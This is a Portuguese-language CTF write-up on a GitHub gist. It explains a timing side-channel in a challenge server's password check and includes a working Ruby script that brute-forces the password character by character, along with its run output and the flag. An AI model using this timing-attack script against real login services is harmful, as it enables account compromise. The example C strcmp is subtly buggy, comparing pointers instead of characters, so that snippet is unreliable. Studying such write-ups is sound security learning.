Skip to content

Instantly share code, notes, and snippets.

@pedro823
Created February 19, 2019 02:52
Show Gist options
  • Save pedro823/7b86ef4bd7c7b8b7ea62da238eeb5b21 to your computer and use it in GitHub Desktop.
Save pedro823/7b86ef4bd7c7b8b7ea62da238eeb5b21 to your computer and use it in GitHub Desktop.
Writeup da "Just in time"

Just In Time

Aqui vai um writeup do desafio just_in_time, valendo 150 pontos, realizado no CTF da campus party de 2019, pelo GS2W + CTF-BR.

Enunciado

Título: Just In Time
Descrição: Meu usuário está >>>MORTO<<<. Acha que tens o que é necessário para quebrar a minha senha? CLICA AQUI: nc imesec.ime.usp.br 9999

Enquanto essa descrição é uma clara referência a esse meme, ela não ajuda muito além de dar um link para um servidor e uma porta.

Descoberta

Ao realizar o comando dito pelo enunciado, caímos em um prompt de senha:

$ nc imesec.ime.usp.br 9999
Please input the password: _

e ao colocar uma senha qualquer, o prompt retorna:

$ nc imesec.ime.usp.br 9999
Please input the password: asd
false 0.0

um false e um 0.0. O que isso pode dizer? Parece que qualquer senha que for colocada lá tem o mesmo comportamento:

$ nc imesec.ime.usp.br 9999
Please input the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
false 0.0

Mas brincando um pouco mais com o input, chega-se a alguma coisa diferente:

$ nc imesec.ime.usp.br 9999
Please input the password: Goku
false 0.05

O false continua lá. Mas o número aumentou de 0.0 para 0.05.

A sacada

Lembre-se sempre de olhar o título do desafio! O título é 'Just in time', o que poderia remeter o desafiado a um timing attack.

A implementação da comparação de senha desse desafio parece ser (é) uma dramatização da implementação não segura de comparação de senhas: o strcmp.

Uma implementação simples de strcmp é a seguinte, em C:

int strcmp(char* a, char* b) {
  while (*a && *b && a == b) a++, b++;
  return *a - *b;
}

é possível ver que está correta pois devolve um número negativo quando a < b, 0 quando a == b e um número positivo quando a > b.

Mas qual é o problema dela? Bem, vamos exagerar um pouco. Digamos que a e b são strings de 100 milhões de caractéres de tamanho.
Se a for diferente de b apenas no último caractére, o algoritmo irá demorar bastante tempo para terminar. Agora, se a for diferente de b no segundo caractére, o algoritmo irá retornar quase que instantaneamente!

Na vida real, essa falha pode ser explorada com relógios de precisão de nanossegundos. É por isso que o Linux demora tanto pra responder quando você erra a senha! -- Porque ele não quer dar nenhuma dica sobre como o hash da senha atual é baseado no seu input.

A resolução

Após descobrir isso, o desafio fica muito mais fácil: Quanto mais caractéres corretos no início da senha, mais o desafio demora a responder, e maior o número fica.

Please input the password: a
false 0.0
Please input the password: G
false 0.05
Please input the password: GS
false 0.1

Fica fácil fazer um algoritmo de força bruta com isso: Tente todas as letras e números até o número depois do false ficar maior.

aqui está um código que resolve o problema, feito em ruby:

require 'socket'

if ARGV.length < 2
    puts "usage: #{$0} <CHALLENGE_IP> <CHALLENGE_PORT>"
    exit(-1)
end

CHALLENGE_IP = ARGV[0]
PORT = ARGV[1]
ALPHABET = (32..127).to_a.map! { |a| a.chr }
password = ''
valid = false
best = 0.0

while !valid
    ALPHABET.each do |letter|
        try_password = password + letter
        puts "-> trying #{try_password}"
        socket = TCPSocket.new CHALLENGE_IP, PORT
        a = socket.read('Please input the password: '.length)
        socket.write try_password
        response = socket.read
        valid, time_to_validate = response.split(' ')
        valid = valid == "true"
        time_to_validate = time_to_validate.to_f
        if valid
            puts "#" * 8
            puts "ANSWER = " + try_password
            puts "#" * 8
            break
        elsif time_to_validate > best
            password = try_password
            best = time_to_validate
            break
        end
    end
end

Rodando isso por um tempo (mais pro final cada tentativa demora por volta de 1.4s para rodar), temos:

-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!l
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!m
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!n
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!o
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!p
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!q
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!r
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!s
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!t
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!u
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!v
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!w
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!x
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!y
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!z
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!{
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!|
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!}
########
ANSWER = GS2W_{P4ssw0RD_T1MinG_4TT4Ck!}
########

Para os interessados que querem ver o código do desafio (e possivelmente hostear/alterar ele - sintam-se livres para fazer isso), vocês podem encontrá-lo aqui.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment